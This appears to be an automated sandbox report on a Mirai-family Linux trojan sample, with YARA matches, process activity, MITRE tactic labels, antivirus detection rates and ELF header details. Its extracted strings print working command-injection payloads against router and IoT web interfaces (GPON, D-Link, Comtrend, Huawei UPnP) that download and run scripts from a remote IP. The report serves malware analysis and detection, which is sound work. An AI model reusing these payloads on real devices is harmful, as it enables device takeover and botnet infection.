    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_99d78950 reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3008edc4e7a099b64139a77d15ec0e2c3c1b55fc23ab156304571c4d14bc654c, id = 99d78950-ea23-4166-a85a-7a029209f5b1, last_modified = 2021-09-16
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_a68e498c reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 951c9dfcba531e5112c872395f6c144c4bc8b71c666d2c7d9d8574a23c163883, id = a68e498c-0768-4321-ab65-42dd6ef85323, last_modified = 2021-09-16
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
    Source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORYMatched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
    Source: Initial samplePotential command found: GET /ping.cgi?pingIpAddress=google.fr;wget%20http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114'$ HTTP/1.1
    Source: Initial samplePotential command found: GET /login.cgi?cli=aa%20aa%27;wget%20http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1
    Source: Initial samplePotential command found: GET /shell?cd+/tmp;rm+-rf+*;wget+46.23.109.47/Cloud/Jaws.sh;chmod+777+*;sh+Jaws.sh HTTP/1.1
    Source: Initial samplePotential command found: GET /boaform/admin/formPing?target_addr=;wget%20http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1
    Source: Initial samplePotential command found: GET /index.php?s=/index/hink
    Source: ELF static info symbol of initial sample.symtab present: no
    Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0
    Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0
    Source: Initial sampleString containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://46.23.109.47/Cloud/Cloud.mips; chmod 777 Cloud.mips; ./Cloud.mips Cloud.Huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
    Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+vaicalon;chmod+777+*;sh+vaicalon`&ipv=0POST /GponForm/diag_Form?images/ HTTP/1.1
    Source: Initial sampleString containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.23.109.47/Cloud/Gpon.sh+-O+anngu;chmod+777+*;sh+anngu`&ipv=0POST /HNAP1/ HTTP/1.0
    Source: classification engineClassification label: mal76.troj.lin@0/0@0/0
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/6236/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1582/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2033/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2275/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/3088/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/6195/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/6194/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1612/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1579/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1699/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1335/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1698/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2028/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1334/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1576/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2302/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/3236/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2025/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2146/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/910/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/6227/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/912/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/517/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/759/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2307/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/918/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1594/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2285/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2281/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1349/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1623/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/761/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1622/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/884/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1983/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2038/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1344/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1465/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1586/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1463/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2156/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/800/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/801/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1629/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1627/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1900/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/3021/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/491/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2294/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2050/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1877/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/772/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1633/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1599/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1632/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/774/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1477/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/654/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/896/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1476/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1872/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2048/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/655/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1475/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2289/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/777/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/656/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/657/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/4466/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/658/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/4467/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/4468/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/4469/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/4502/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/419/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/936/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1639/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1638/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2208/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2180/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1809/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1494/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1890/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2063/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2062/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1888/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1886/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/420/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1489/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/785/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1642/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/788/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/667/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/789/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/1648/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/4491/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/4498/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/6158/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2078/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2077/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2074/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2195/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/670/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/2746/exeJump to behavior
    Source: /tmp/tknjinyyHK (PID: 6236)File opened: /proc/793/exeJump to behavior

    Stealing of Sensitive Information

    barindex
    Source: Yara matchFile source: tknjinyyHK, type: SAMPLE
    Source: Yara matchFile source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORY

    Remote Access Functionality

    barindex
    Source: Yara matchFile source: tknjinyyHK, type: SAMPLE
    Source: Yara matchFile source: 6235.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORY
    Source: Yara matchFile source: 6237.1.0000000008048000.0000000008062000.r-x.sdmp, type: MEMORY
    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid Accounts1
    Command and Scripting Interpreter
    Path InterceptionPath InterceptionDirect Volume Access1
    OS Credential Dumping
    System Service DiscoveryRemote ServicesData from Local SystemExfiltration Over Other Network MediumData ObfuscationEavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    No configs have been found
    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Number of created Files
    • Is malicious
    • Internet
    behaviorgraph top1 signatures2 2 Behavior Graph ID: 679630 Sample: tknjinyyHK Startdate: 06/08/2022 Architecture: LINUX Score: 76 23 Malicious sample detected (through community Yara rule) 2->23 25 Antivirus / Scanner detection for submitted sample 2->25 27 Multi AV Scanner detection for submitted file 2->27 29 2 other signatures 2->29 7 tknjinyyHK 2->7         started        process3 process4 9 tknjinyyHK 7->9         started        11 tknjinyyHK 7->11         started        13 tknjinyyHK 7->13         started        process5 15 tknjinyyHK 9->15         started        17 tknjinyyHK 9->17         started        19 tknjinyyHK 9->19         started        21 11 other processes 9->21
    SourceDetectionScannerLabelLink
    tknjinyyHK56%VirustotalBrowse
    tknjinyyHK37%MetadefenderBrowse
    tknjinyyHK69%ReversingLabsLinux.Trojan.Mirai
    tknjinyyHK100%AviraLINUX/Mirai.haqdn
    tknjinyyHK100%Joe Sandbox ML
    No Antivirus matches
    No Antivirus matches
    SourceDetectionScannerLabelLink
    http://46.23.109.47/Cloud/Gpon.sh19%VirustotalBrowse
    http://46.23.109.47/Cloud/Gpon.sh100%Avira URL Cloudmalware
    http://46.23.109.47/Cloud/Cloud.x8618%VirustotalBrowse
    http://46.23.109.47/Cloud/Cloud.x86100%Avira URL Cloudmalware
    http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114100%Avira URL Cloudmalware
    http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VI100%Avira URL Cloudmalware
    http://46.23.109.47/Cloud/Cloud.mpsl;chmod100%Avira URL Cloudmalware
    http://46.23.109.47/Cloud/Cloud.mips;100%Avira URL Cloudmalware
    http://purenetworks.com/HNAP1/0%URL Reputationsafe
    http://0.0.0.0/Cloud/Cloud.x860%Avira URL Cloudsafe
    http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$100%Avira URL Cloudmalware
    No contacted domains info
    NameSourceMaliciousAntivirus DetectionReputation
    http://46.23.109.47/Cloud/Gpon.shtknjinyyHKtrue
    • 19%, Virustotal, Browse
    • Avira URL Cloud: malware
    unknown
    http://46.23.109.47/Cloud/Cloud.x86tknjinyyHKtrue
    • 18%, Virustotal, Browse
    • Avira URL Cloud: malware
    unknown
    http://46.23.109.47/Cloud/Comtrend.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&sessionKey=1039230114tknjinyyHKtrue
    • Avira URL Cloud: malware
    unknown
    http://46.23.109.47/Cloud/Netlink.sh%20-O%20-%3E%20/tmp/jno;sh%20/tmp/jno%27/&waninf=1_INTERNET_R_VItknjinyyHKtrue
    • Avira URL Cloud: malware
    unknown
    http://schemas.xmlsoap.org/soap/encoding/tknjinyyHKfalse
      high
      http://46.23.109.47/Cloud/Cloud.mpsl;chmodtknjinyyHKtrue
      • Avira URL Cloud: malware
      unknown
      http://46.23.109.47/Cloud/Cloud.mips;tknjinyyHKtrue
      • Avira URL Cloud: malware
      unknown
      http://purenetworks.com/HNAP1/tknjinyyHKfalse
      • URL Reputation: safe
      unknown
      http://0.0.0.0/Cloud/Cloud.x86tknjinyyHKfalse
      • Avira URL Cloud: safe
      unknown
      http://46.23.109.47/Cloud/Dlink.sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$tknjinyyHKtrue
      • Avira URL Cloud: malware
      unknown
      http://schemas.xmlsoap.org/soap/envelope/tknjinyyHKfalse
        high
        No contacted IP infos
        No context
        No context
        No context
        No context
        No context
        No created / dropped files found
        File type:ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
        Entropy (8bit):6.581459410183035
        TrID:
        • ELF Executable and Linkable format (Linux) (4029/14) 50.16%
        • ELF Executable and Linkable format (generic) (4004/1) 49.84%
        File name:tknjinyyHK
        File size:106256
        MD5:207b92b6ce447a8be88fee4f5ab257d6
        SHA1:a2b8c7518f370a978dda19ade031c9d1885acb5e
        SHA256:7274ee8cc094cdfcab48b23978837b12d01bd426202f34d7191e0f6fc3ae18d3
        SHA512:7fc6f244884ccad21fb96a9a08062255d00f81a25e380d6d0ac5a591d836510d3d8cd0ae8886c59f6a9c3b7f2d394245634f46594c46a76f3fbfad7f119a9280
        SSDEEP:3072:LTPT78lIJrWP9qJsSNJQ7RJndlfbpkxTWY25eeJBDcpPY:bwGVWPYVNqNJPpksJJ0
        TLSH:51A33AC9E693E0F6DC005ABC306BAF329D73E93F6126DAD6E3E45C73A54550181072AE
        File Content Preview:.ELF....................d...4...........4. ...(..................... ... ...............$...$+..$+..................Q.td............................U..S............h.....m..[]...$.............U......=@-...t..5....d+.....d+......u........t....h ...........

        ELF header

        Class:ELF32
        Data:2's complement, little endian
        Version:1 (current)
        Machine:Intel 80386
        Version Number:0x1
        Type:EXEC (Executable file)
        OS/ABI:UNIX - System V
        ABI Version:0
        Entry Point Address:0x8048164
        Flags:0x0
        ELF Header Size:52
        Program Header Offset:52
        Program Header Size:32
        Number of Program Headers:3
        Section Header Offset:105856
        Section Header Size:40
        Number of Section Headers:10
        Header String Table Index:9
        NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
        NULL0x00x00x00x00x0000
        .initPROGBITS0x80480940x940x1c0x00x6AX001
        .textPROGBITS0x80480b00xb00x16db60x00x6AX0016
        .finiPROGBITS0x805ee660x16e660x170x00x6AX001
        .rodataPROGBITS0x805ee800x16e800x2ca00x00x2A0032
        .ctorsPROGBITS0x8062b240x19b240x80x00x3WA004
        .dtorsPROGBITS0x8062b2c0x19b2c0x80x00x3WA004
        .dataPROGBITS0x8062b600x19b600x1e00x00x3WA0032
        .bssNOBITS0x8062d400x19d400xe800x00x3WA0032
        .shstrtabSTRTAB0x00x19d400x3e0x00x0001
        TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
        LOAD0x00x80480000x80480000x19b200x19b206.59920x5R E0x1000.init .text .fini .rodata
        LOAD0x19b240x8062b240x8062b240x21c0x109c3.48020x6RW 0x1000.ctors .dtors .data .bss
        GNU_STACK0x00x00x00x00x00.00000x6RW 0x4
        No network behavior found

        System Behavior